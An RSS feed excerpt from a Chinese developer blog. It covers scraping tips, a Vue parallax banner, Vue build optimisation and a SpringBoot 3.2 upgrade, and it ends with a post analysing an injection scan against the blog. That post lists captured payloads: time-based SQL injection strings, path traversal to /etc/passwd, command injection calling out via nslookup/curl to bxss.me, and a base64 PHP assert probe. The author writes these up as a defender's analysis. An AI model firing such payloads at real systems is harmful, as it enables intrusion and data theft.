&lt;p&gt;对于音频比较少见切片，但一般都会有加密，这可以去github上找解密包或者解密工具。&lt;/p&gt;
&lt;ol start="5"&gt;
&lt;li&gt;
&lt;h5&gt;解析&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;常见的有html、json，对于json直接使用json解析然后获取就行，对于html推荐通过xpath解析，或者使用xml包解析，最后解析获得的字符串还可以使用正则表达式进行再次解析和提取。&lt;/p&gt;
&lt;ol start="6"&gt;
&lt;li&gt;
&lt;h5&gt;编码&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最常见的就是utf-8和gbk的格式转换&lt;/p&gt;
&lt;ol start="7"&gt;
&lt;li&gt;
&lt;h5&gt;小说&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;现在的小说网站基本都会使用字体映射修改，就是通过修改字体中每个字的映射来让你抓取到的文章变成乱码，如果少量可以通过人工矫正，大量就不知道了。。。。&lt;/p&gt;</description>
      <category>爬虫相关</category>
      <pubDate>Mon, 26 Aug 2024 06:57:49 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/139.html</comments>
    </item>
    <item>
      <title>Vue视差标题背景</title>
      <link>https://www.baby7blog.com/myBlog/138.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1724638288880964222" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Vue视差标题背景&lt;/h1&gt;

&lt;h2&gt;一、说明&lt;/h2&gt;
&lt;p&gt;这个我是为了放在&lt;a href="https://www.baby7blog.com/index.html"&gt;博客&lt;/a&gt;的标题部分作为背景图，上下滚动的时候比较好看。&lt;/p&gt;
&lt;p&gt;原理就是通过几张透明的png进行叠加，然后在上下滚动时，外层png移动的快，内层png移动得慢来实现视差效果。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先放一张示意图：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这里实际的距离X和Y在观察者看来是一样的，原因是距离观察者的距离Z不一样导致的。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1724638146299374459" alt="视差示意图.png" /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;再放一张视差标题背景的3d示意图：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1724560073339284372" alt="实际示意图" /&gt;&lt;/p&gt;
&lt;h2&gt;二、Vue代码&lt;/h2&gt;
&lt;p&gt;这里为了代码高亮分三部分展示&lt;/p&gt;
&lt;p&gt;html部分&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-html"&gt;&amp;lt;template&amp;gt;
  &amp;lt;section&amp;gt;
    &amp;lt;img :src=&amp;quot;p0Src&amp;quot; id=&amp;quot;p0&amp;quot; :style=&amp;quot;{ transform: `translateY(${p0Top}px)`, zIndex: `100` }&amp;quot; alt=&amp;quot;p0&amp;quot;&amp;gt;
    &amp;lt;img :src=&amp;quot;p1Src&amp;quot; id=&amp;quot;p1&amp;quot; :style=&amp;quot;{ transform: `translateY(${p1Top}px)`, zIndex: `200` }&amp;quot; alt=&amp;quot;p1&amp;quot;&amp;gt;
    &amp;lt;img :src=&amp;quot;p2Src&amp;quot; id=&amp;quot;p2&amp;quot; :style=&amp;quot;{ transform: `translateY(${p2Top}px)`, zIndex: `300` }&amp;quot; alt=&amp;quot;p2&amp;quot;&amp;gt;
    &amp;lt;img :src=&amp;quot;p3Src&amp;quot; id=&amp;quot;p3&amp;quot; :style=&amp;quot;{ transform: `translateY(${p3Top}px)`, zIndex: `400` }&amp;quot; alt=&amp;quot;p3&amp;quot;&amp;gt;
    &amp;lt;img :src=&amp;quot;p4Src&amp;quot; id=&amp;quot;p4&amp;quot; :style=&amp;quot;{ transform: `translateY(${p4Top}px)`, zIndex: `500` }&amp;quot; alt=&amp;quot;p4&amp;quot;&amp;gt;
    &amp;lt;img :src=&amp;quot;p6Src&amp;quot; id=&amp;quot;p6&amp;quot; :style=&amp;quot;{ transform: `translateY(${p6Top}px)`, zIndex: `600` }&amp;quot; alt=&amp;quot;p6&amp;quot;&amp;gt;
    &amp;lt;div id=&amp;quot;banner_title&amp;quot;
         class=&amp;quot;container&amp;quot;
         :style=&amp;quot;{ marginRight: `0px`, marginTop: `${bannerTitleMarginTop}px`, width: `75%`}&amp;quot;&amp;gt;
        &amp;lt;h1&amp;gt;{{blogTitle}}&amp;lt;/h1&amp;gt;
        &amp;lt;p class=&amp;quot;description&amp;quot;&amp;gt;{{blogDescription}}&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/section&amp;gt;
&amp;lt;/template&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;js部分&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;&amp;lt;script&amp;gt;
const imgUrl = &amp;quot;https://xxxxxxxxxxxx/&amp;quot;;
export default {
  name: &amp;quot;Banner&amp;quot;,
  data() {
    return {
      p0Src: imgUrl + 'banner/ppp0.png',
      p1Src: imgUrl + 'banner/pp1.png',
      p2Src: imgUrl + 'banner/pp2.png',
      p3Src: imgUrl + 'banner/pp3.png',
      p4Src: imgUrl + 'banner/pp4.png',
      p6Src: imgUrl + 'banner/pp6.png',
      p0Top: 0,
      p1Top: 0,
      p2Top: 0,
      p3Top: 0,
      p4Top: 0,
      p6Top: 0,
      bannerTitleMarginTop: -100,
      requestId: undefined, // 用于跟踪 requestAnimationFrame 的标识
    };
  },
  props:{
    blogTitle:{
      type: String,
      require: true
    },
    blogDescription:{
      type: String,
      require: true
    },
  },
  mounted() {
    this.addScrollListener();
  },
  beforeDestroy() {
    this.removeScrollListener();
  },
  methods: {
    addScrollListener() {
      // 使用 passive 参数优化滚动性能
      window.addEventListener('scroll', this.handleScroll, {passive: true});
    },
    removeScrollListener() {
      window.removeEventListener('scroll', this.handleScroll);
    },
    handleScroll() {
      const value = window.scrollY;
      this.p0Top = value * 0.6;
      this.p1Top = value * 0.36;
      this.p2Top = value * 0.24;
      this.p3Top = value * 0.16;
      this.p4Top = value * 0.12;
      this.p6Top = 0;
      this.bannerTitleMarginTop = value * 1.1 - 100;
      // 使用 requestAnimationFrame 更新样式
      if (this.requestId === undefined) {
        this.requestId = requestAnimationFrame(this.updateStyles);
      }
    },
    updateStyles() {
      // 清除请求动画帧标识
      this.requestId = undefined;
    }
  }
}
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;style部分&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-css"&gt;&amp;lt;style scoped lang=&amp;quot;scss&amp;quot;&amp;gt;
section {
  position: relative;
  width: 100%;
  height: 100vh;
  padding: 0px;
  display: flex;
  justify-content: center;
  align-items: center;
  overflow: hidden;

  img {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    //height: 100%;
    object-fit: cover;
    pointer-events: none;
    will-change: transform; // 提前告知浏览器哪些属性可能会发生变化
  }

  #p4,#p3,#p2,#p1,#p0 {
    width: 100%;
    height: 100%;
  }

  #p6 {
    width: 100%;
    height: 150%;
  }

  section::before {
    content: '';
    position: absolute;
    bottom: 0;
    width: 100%;
    //height: 100px;
    background: linear-gradient(to top, #1c0522, transparent);
    //z-index: 1000;
  }
}
@-webkit-keyframes bounce {
  0%,10%,25%,40%,50% {
    -webkit-transform: translateY(0) rotate(0deg);
    transform: translateY(0) rotate(0deg)
  }

  20% {
    -webkit-transform: translateY(-10px) rotate(0deg);
    transform: translateY(-10px) rotate(0deg)
  }

  30% {
    -webkit-transform: translateY(-5px) rotate(0deg);
    transform: translateY(-5px) rotate(0deg)
  }
}

@keyframes bounce {
  0%,10%,25%,40%,50% {
    -webkit-transform: translateY(0) rotate(0deg);
    transform: translateY(0) rotate(0deg)
  }

  20% {
    -webkit-transform: translateY(-10px) rotate(0deg);
    transform: translateY(-10px) rotate(0deg)
  }

  30% {
    -webkit-transform: translateY(-5px) rotate(0deg);
    transform: translateY(-5px) rotate(0deg)
  }
}
&amp;lt;/style&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;三、效果&lt;/h2&gt;
&lt;p&gt;可以点击&lt;a href="https://www.baby7blog.com/index.html"&gt;七仔的博客&lt;/a&gt;然后上下缓慢滚动来查看效果。&lt;/p&gt;</description>
      <category>前端技术</category>
      <pubDate>Sun, 25 Aug 2024 12:20:08 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/138.html</comments>
    </item>
    <item>
      <title>Vue部分优化记录</title>
      <link>https://www.baby7blog.com/myBlog/137.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1724552828281700306" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Vue部分优化记录&lt;/h1&gt;

&lt;h2&gt;一、说明&lt;/h2&gt;
&lt;p&gt;继后端进行版本升级后，想着对前端也进行一下优化，顺便记录一下&lt;/p&gt;
&lt;h2&gt;二、记录&lt;/h2&gt;
&lt;h3&gt;2.1 版本更新刷新浏览器缓存&lt;/h3&gt;
&lt;p&gt;由于之前更新时打包是按默认来的，每次打包的js文件名都一样，导致浏览器缓存可能不会刷新，这次对每次打包的js文件名用时间戳命名。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;vue.config.js&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;const  Timestamp = new Date().getTime(); //时间戳
module.exports = {
    configureWebpack: {
        output: {
            filename: 'js/[name].'+Timestamp+'.js',
            chunkFilename: 'js/[name].'+Timestamp+'.js'
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 环境问题&lt;/h3&gt;
&lt;p&gt;之前运行命令是复制的，没有和配置文件联动，会导致实际到线上的还是开发环境，导致包体积过大，实际上只需要使用默认的命令就可以（之前在运行命令加了个--mode prod）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;package.json&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-json"&gt;  &amp;quot;scripts&amp;quot;: {
    &amp;quot;serve&amp;quot;: &amp;quot;vue-cli-service serve&amp;quot;,
    &amp;quot;build&amp;quot;: &amp;quot;vue-cli-service build&amp;quot;,
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.3 构建js文件包分析&lt;/h3&gt;
&lt;p&gt;这个是自带的一个功能，通过在运行命令增加 --report 就可以在构建后倒出一个report.html，用这个就可以看到每个js包含了哪些东西，如果有公共的包可以转换为cdn去加载。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;package.json&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-json"&gt;  &amp;quot;scripts&amp;quot;: {
    &amp;quot;build&amp;quot;: &amp;quot;vue-cli-service build --report&amp;quot;,
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.4 删除构建js文件中的注释和console&lt;/h3&gt;
&lt;p&gt;通过引入插件uglifyjs-webpack-plugin实现&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;vue.config.js&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;const UglifyJsPlugin = require('uglifyjs-webpack-plugin')
module.exports = {
    configureWebpack: {
        plugins: [
            new UglifyJsPlugin({
                uglifyOptions: {
                    output: {
                        comments: false, // 去掉注释
                    },
                    warnings: false,
                    compress: {
                        drop_console: true,
                        drop_debugger: false,
                        pure_funcs: ['console.log']//移除console
                    }
                }
            })
        ]
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.5 Gzip压缩&lt;/h3&gt;
&lt;p&gt;通过引入插件compression-webpack-plugin实现，对导出文件进行gzip压缩，进一步加速加载速度&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;vue.config.js&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;const CompressionPlugin = require('compression-webpack-plugin');
module.exports = {
    configureWebpack: {
        plugins: [
            new CompressionPlugin({//gzip压缩配置
                test:/\.js$|\.html$|\.css/,//匹配文件名
                threshold:10240,//对超过10kb的数据进行压缩
                deleteOriginalAssets:false,//是否删除原文件
            })
        ]
    }
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>前端技术</category>
      <pubDate>Sun, 25 Aug 2024 10:47:19 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/137.html</comments>
    </item>
    <item>
      <title>升级到SpringBoot3.2和JDK17</title>
      <link>https://www.baby7blog.com/myBlog/136.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1724404685305371816" width="800"&gt;&lt;br&gt;
&lt;h1&gt;升级到SpringBoot3.2和JDK17&lt;/h1&gt;

&lt;h2&gt;一、说明&lt;/h2&gt;
&lt;p&gt;博客后台进行版本升级，SpringBoot从2.1升级到3.2，JDK从8升级到17，在这篇文章中记录一下需要注意的点&lt;/p&gt;
&lt;h2&gt;二、调整&lt;/h2&gt;
&lt;h4&gt;2.1 Gradle调整&lt;/h4&gt;
&lt;p&gt;gradle升级到了8.8，需要修改获取gradle的文件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;gradle-wrapper.properties文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-properties"&gt;distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.8-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还需要修改项目的包管理gradle文件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;build.gradle文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-gradle"&gt;plugins {
    id 'java'
    id 'org.springframework.boot' version '3.3.2'
    id 'io.spring.dependency-management' version '1.1.6'
}

group = 'com.xxxxxxx'
version = '0.0.1-SNAPSHOT'
description = &amp;quot;&amp;quot;&amp;quot;xxxxxxxxxxxxx&amp;quot;&amp;quot;&amp;quot;

java {
    toolchain {
        languageVersion = JavaLanguageVersion.of(17)
    }
}

// 仓库
repositories {
    // 阿里云仓库
    maven { url &amp;quot;https://maven.aliyun.com/nexus/content/groups/public&amp;quot; }
    mavenCentral()
}

// 依赖
dependencies {
    // ...
    // 这里引入依赖
}

tasks.withType(JavaCompile) {
    options.compilerArgs.add(&amp;quot;-parameters&amp;quot;)
}

tasks.named('test') {
    useJUnitPlatform()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2.2 Redis调整&lt;/h4&gt;
&lt;p&gt;一个是配置要修改，从spring.redis调整为spring.data.redis&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;application.yml&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class="language-yml"&gt;# Spring
spring:
  data:
    # redis
    redis:
      # Redis数据库索引
      database: 0
      # Redis服务器地址
      host: localhost
      # Redis服务器连接端口
      port: 6379
      # Redis服务器连接密码
      password:
      # 连接超时时间（毫秒）
      timeout: 1000
      # 连接池
      lettuce:
        pool:
          # 连接池最大连接数（使用负值表示没有限制）
          max-active: 200
          # 连接池最大阻塞等待时间（使用负值表示没有限制）
          max-wait: -1
          # 连接池中的最大空闲连接
          max-idle: 10
          # 连接池中的最小空闲连接
          min-idle: 0
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还要调整配置，不一定非要是下面这样，我是之前的用不了了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RedisConfig.java&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.alibaba.fastjson.support.spring.GenericFastJsonRedisSerializer;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.data.redis.connection.RedisConnectionFactory;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.data.redis.serializer.StringRedisSerializer;

import java.nio.charset.StandardCharsets;

/**
 * redis配置类
 */
@Configuration
public class RedisConfig {

    @Bean
    public RedisTemplate&amp;lt;String, Object&amp;gt; redisTemplate(RedisConnectionFactory redisConnectionFactory) {
        RedisTemplate&amp;lt;String, Object&amp;gt; template = new RedisTemplate&amp;lt;&amp;gt;();
        // 连接工厂
        template.setConnectionFactory(redisConnectionFactory);
        // key序列化
        template.setKeySerializer(new StringRedisSerializer(StandardCharsets.UTF_8));
        // value序列化
        template.setValueSerializer(new GenericFastJsonRedisSerializer());
        // hash序列化
        template.setHashKeySerializer(new StringRedisSerializer(StandardCharsets.UTF_8));
        template.setHashValueSerializer(new GenericFastJsonRedisSerializer());
        // 启用事务支持
        template.setEnableTransactionSupport(true);
        return template;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;@Cacheable中的SpEL表达式可能需要调整，我之前用的是&lt;code&gt;#page.current&lt;/code&gt;，现在调整为了&lt;code&gt;#page['current']&lt;/code&gt;，不过这个不知道是redis配置升级导致的还是mybatisplus升级导致的（page是mybatisplus中的）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XXXController.java&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.baomidou.mybatisplus.extension.plugins.pagination.Page

public class XXXController {
    @Cacheable(value = CommonConstants.REDIS_GROUP_BLOG, key = &amp;quot;'page/'+#page['current']+'/'+#page['size']&amp;quot;)
    public R&amp;lt;?&amp;gt; getXXX(Page page) {
        return R.ok();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我这里还有个自用的Redis工具类的del函数有调整&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RedisUtil.java&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;    /**
     * 删除缓存
     *
     * @param key 可以传一个值 或多个
     */
    @SuppressWarnings(&amp;quot;unchecked&amp;quot;)
    public void del(String... key) {
        if (key != null &amp;amp;&amp;amp; key.length &amp;gt; 0) {
            List&amp;lt;String&amp;gt; keys = Arrays.asList(key);
            if (key.length == 1) {
                redisTemplate.delete(keys.get(0));
            } else {
                redisTemplate.delete(keys);
            }
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2.3 MyBatis调整&lt;/h4&gt;
&lt;p&gt;首先是gradle中的MybatisPlus依赖调整&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;build.gradle&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class="language-gradle"&gt;// 依赖
dependencies {
    // mybatis-plus，数据层框架
    implementation 'com.baomidou:mybatis-plus-spring-boot3-starter:3.5.7'
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还有配置类需要调整&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MybatisPlusConfig.java&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor;
import com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration
public class MybatisPlusConfig {

    @Bean
    public MybatisPlusInterceptor mybatisPlusInterceptor() {
        MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor();
        interceptor.addInnerInterceptor(new PaginationInnerInterceptor());	// 分页支持
        return interceptor;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还有Mapper需要调整，升级后需要明确对象的参数名&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XXXX.java&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;	/**
	 * 分页查询
	 */
	IPage&amp;lt;Xxxxx&amp;gt; getXxxxxPage(@Param(&amp;quot;page&amp;quot;) Page&amp;lt;Xxxxx&amp;gt; page, @Param(&amp;quot;xxxxxDTO&amp;quot;) XxxxxDTO xxxxxDTO);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2.4 引入javax.servlet改为jakarta.servlet&lt;/h4&gt;
&lt;p&gt;所有的javax.servlet引入都改为jakarta.servlet&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XXXX.java&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import jakarta.servlet.http.HttpServletResponse;
import jakarta.mail.internet.MimeMessage;
import jakarta.servlet.http.HttpServletRequest;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2.5 SpringSecurity调整&lt;/h4&gt;
&lt;p&gt;一个是不再需要继承WebSecurityConfigurerAdapter，configure函数也不需要@Override了，需要换成@Bean去加载，函数名更换为filterChain&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SecurityConfig.java&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;package com.baby7blog.config;

import com.baby7blog.modules.blog.common.CommonConstants;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configurers.AbstractHttpConfigurer;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.authentication.logout.LogoutFilter;

/**
 * Spring Security 适配器
 */
@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Autowired
    private AuthFilter authFilter;

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity httpSecurity) throws Exception {
        return httpSecurity
                // CSRF禁用，因为不使用session
                .csrf(AbstractHttpConfigurer::disable)
                // 基于token，所以不需要session
                .sessionManagement(s -&amp;gt; s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
                // 过滤请求
                .authorizeHttpRequests(authorize -&amp;gt; authorize.requestMatchers(
                        &amp;quot;/xxxxxx1&amp;quot;,
                        &amp;quot;/xxxxxx2&amp;quot;).permitAll().anyRequest().authenticated()
                )
                // 添加权限过滤器
                .addFilterBefore(authFilter, LogoutFilter.class)
                .build();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>后端技术</category>
      <pubDate>Fri, 23 Aug 2024 15:46:03 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/136.html</comments>
    </item>
    <item>
      <title>博客被注入攻击的记录</title>
      <link>https://www.baby7blog.com/myBlog/135.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1724145690207116630" width="800"&gt;&lt;br&gt;
&lt;h1&gt;博客被注入攻击的记录&lt;/h1&gt;

&lt;h3&gt;一、讲讲&lt;/h3&gt;

&lt;p&gt;事实上开始没发现，今天没事儿瞅瞅&lt;a href="https://www.baby7blog.com/index.html"&gt;博客&lt;/a&gt;才看见的，mysql里面的评论数据不太对劲，然后看了看一堆乱码，再仔细一看发现有XOR什么的，可能是sql注入攻击，挑了一个出来百度搜了一下真是注入攻击。。。&lt;/p&gt;


&lt;p&gt;还好后端java的数据层用的是#{}而不是${}，不然可能就被成功注入了。&lt;/p&gt;


&lt;p&gt;他是通过给每个请求的任意参数修改成注入的字符串，然后改一个请求一个（每改一个都会请求一次），所以一个请求参数越多请求的次数越多。&lt;/p&gt;


&lt;p&gt;而且请求得异常频繁，从我被攻击的记录来看一秒钟会有三十次请求的频率。最终多达十一万多条记录。&lt;/p&gt;


&lt;p&gt;下面会尽力分析一下，我会在最后放出统计的注入代码。&lt;/p&gt;

&lt;h3&gt;二、分析下&lt;/h3&gt;
&lt;h4&gt;1. sql延时注入&lt;/h4&gt;
&lt;pre&gt;&lt;code class="language-sql"&gt;0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析：mysql延时语句，如果请求真的等了十五秒才返回，说明语句被执行了，证明网站有漏洞&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sql"&gt;-1&amp;quot; OR 2+265-265-1=0+0+0+1 -- 
-1 OR 2+192-192-1=0+0+0+1 -- 
-1 OR 2+152-152-1=0+0+0+1
-1' OR 2+349-349-1=0+0+0+1 -- 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析：看起来很经典，就是让这个sql的where是true&lt;/p&gt;
&lt;h3&gt;2. linux的sh脚本 和 windows的shell脚本&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;/etc/shells
../../../../../../../../../../../../../../etc/shells
../../../../../../../../../../../../../../etc/passwd
(nslookup -q=cname hitxknfbuvcytb6fbe.bxss.me||curl hitxknfbuvcytb6fbe.bxss.me))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;c:/windows/win.ini
../../../../../../../../../../../../../../windows/win.ini
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析：大致就是通过这个判断是否可以直接运行操作系统命令&lt;/p&gt;
&lt;h3&gt;3. http地址&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-url"&gt;Http://bxss.me/t/fit.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析：可能是通过这个判断有没有外网访问？？？另外其中出现了很多次bxss.me域名，应该是黑客持有的域名&lt;/p&gt;
&lt;h3&gt;4. javascript脚本&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;Socket.gethostbyname('hitjj'+'iavjtlgsadee5.bxss.me.')[3].to_s)+'
'+response.write(9045529*9064400)+'
'A'.concat(70-3).concat(22*4).concat(107).concat(86).concat(104).concat(76)+(require'socket'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析：应该是通过js脚本注入去连接黑客的服务器，看不出来&lt;/p&gt;
&lt;h3&gt;5. 不知道&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-text"&gt;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'))
print(md5(31337));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析：单独拎出来是发现上面那行base64解码后正好是print(md5(31337));，不知道为什么是这个值，可能会用返回值判断是否执行&lt;/p&gt;
&lt;h3&gt;二、记录下注入的字符串&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-text"&gt;fwC4EYe6
5JirZv7l
-1 OR 2+405-405-1=0+0+0+1 -- 
-1 OR 2+295-295-1=0+0+0+1
-1' OR 2+728-728-1=0+0+0+1 -- 
-1' OR 2+408-408-1=0+0+0+1 or '4kHIj9TJ'='
-1&amp;quot; OR 2+265-265-1=0+0+0+1 -- 
-1 OR 2+192-192-1=0+0+0+1 -- 
-1 OR 2+152-152-1=0+0+0+1
-1' OR 2+349-349-1=0+0+0+1 -- 
-1' OR 2+303-303-1=0+0+0+1 or 'mtCw6viM'='
-1&amp;quot; OR 2+768-768-1=0+0+0+1 -- 
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0&amp;quot;XOR(if(now()=sysdate(),sleep(15),0))XOR&amp;quot;Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'&amp;quot;+(select(0)from(select(sleep(15)))v)+&amp;quot;*/
-1 waitfor delay '0:0:15' -- 
5SOkP5Kv'; waitfor delay '0:0:15' -- 
61nop9yL'; waitfor delay '0:0:15' -- 
2aROwtzh' OR 737=(SELECT 737 FROM PG_SLEEP(15))--
Kw2oFy63' OR 821=(SELECT 821 FROM PG_SLEEP(15))--
zwHhvrlx') OR 443=(SELECT 443 FROM PG_SLEEP(15))--
rq7hD9Tg') OR 801=(SELECT 801 FROM PG_SLEEP(15))--
6clWyyhe')) OR 966=(SELECT 966 FROM PG_SLEEP(15))--
XcmAaVzf')) OR 969=(SELECT 969 FROM PG_SLEEP(15))--
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'&amp;quot;
'&amp;quot;%2527%2522\'\&amp;quot;
@@zCCrR
@@rdUn2
9QPgamGo
-1 OR 2+423-423-1=0+0+0+1 -- 
-1 OR 2+973-973-1=0+0+0+1
-1' OR 2+479-479-1=0+0+0+1 -- 
-1' OR 2+232-232-1=0+0+0+1 or 'U8LOQPLc'='
-1&amp;quot; OR 2+909-909-1=0+0+0+1 -- 
uKSjy32g'; waitfor delay '0:0:15' -- 
gq0rxPX1' OR 170=(SELECT 170 FROM PG_SLEEP(15))--
8OpoQPtx') OR 702=(SELECT 702 FROM PG_SLEEP(15))--
4OqyfDvr')) OR 222=(SELECT 222 FROM PG_SLEEP(15))--
@@9tlgW
5rlVqKWT
-1 OR 2+812-812-1=0+0+0+1 -- 
-1 OR 2+86-86-1=0+0+0+1
-1' OR 2+733-733-1=0+0+0+1 -- 
-1' OR 2+969-969-1=0+0+0+1 or 'IPZ80XU4'='
-1&amp;quot; OR 2+771-771-1=0+0+0+1 -- 
1uQhlNir
-1 OR 2+831-831-1=0+0+0+1 -- 
-1 OR 2+242-242-1=0+0+0+1
-1' OR 2+948-948-1=0+0+0+1 -- 
-1' OR 2+606-606-1=0+0+0+1 or '06rxK1Hg'='
-1&amp;quot; OR 2+715-715-1=0+0+0+1 -- 
